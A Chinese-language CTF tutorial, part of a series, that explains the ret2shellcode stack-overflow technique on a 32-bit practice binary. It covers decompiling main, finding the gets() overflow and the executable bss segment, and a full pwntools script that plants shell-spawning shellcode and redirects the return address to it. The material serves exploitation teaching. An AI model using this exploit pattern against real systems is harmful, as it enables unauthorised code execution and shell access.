PWN从入门到放弃(6)——栈溢出之ret2shellcode

上篇我们介绍了ret2text,但是这种利用方式有很大的限制。使用ret2text的前提是,程序中有写好的可返回shell的function。否则,就没办法利用了。

这篇给大家介绍一个新的利用方法——ret2shellcode,程序中没有shell,那么我们就写一个进去。

0x00 ret2shellcode

ret2shellcode 又称 Return to shellcode 或ret2sc,当程序的data段是可写可执行且位置固定时,我们可将shellcode写到data段上,并通过栈溢出覆盖返回地址到shellcode。

0x01 例题

1)查看文件信息

按照国际惯例,先查看文件信息

$ file ret2sc
$ checksec ret2sc

这是一个32位程序,所有保护都没开

2)查看程序大概流程

运行一下程序,看看程序的大概流程

程序获取两次用户输入

3)分析程序&查找漏洞点

将程序扔到ida pro里分析

首先分析main()函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-14h]

  setvbuf(stdout, 0, 2, 0);
  printf("Name:");
  read(0, &name, 0x32u);
  printf("Try your best:");
  return gets(&s);
}

我们看到,程序的两次输入分别是用read()和gets()函数实现的,我们双击进入&name变量中

发现name变量存在在bss段中,且长度足够,不存在溢出

我们再进入&s变量看一下

s变量的大小为0x18,但是gets()函数不会限制我们输入,所以这里是存在栈溢出的

我们继续查看其它函数,并没有发现可给我们返回shell的函数,这里我们就要自己构造shellcode

那么我们在什么位置写入shellcode呢?

将程序导入gdb并运行,ctrl+c将程序中断,利用vmmap查看地址段权限

$ gdb ret2sc
gdb-peda$ r
# ctrl + c
gdb-peda$ vmmap

我们看到bss段是可写可执行的,那么我们就可以将shellcode写入name变量

4)计算溢出偏移

和之前一样,将程序导入gdb,使用pattern工具计算偏移

不过这道题目name变量是不存在溢出的,所以我们要在第二次输入的时候输入pattern生成的字符串

计算出溢出偏移为32,接下来我们就可以构造payload了

5)构造payload

from pwn import *

r = process('./ret2sc')
elf = ELF('./ret2sc')

padding = 32
name_addr = 0x0804A060

shellcode = asm(shellcraft.sh())
r.sendlineafter('Name:',shellcode)

payload = 'a' * padding
payload += p32(name_addr)
r.sendlineafter('best:',payload)

r.interactive()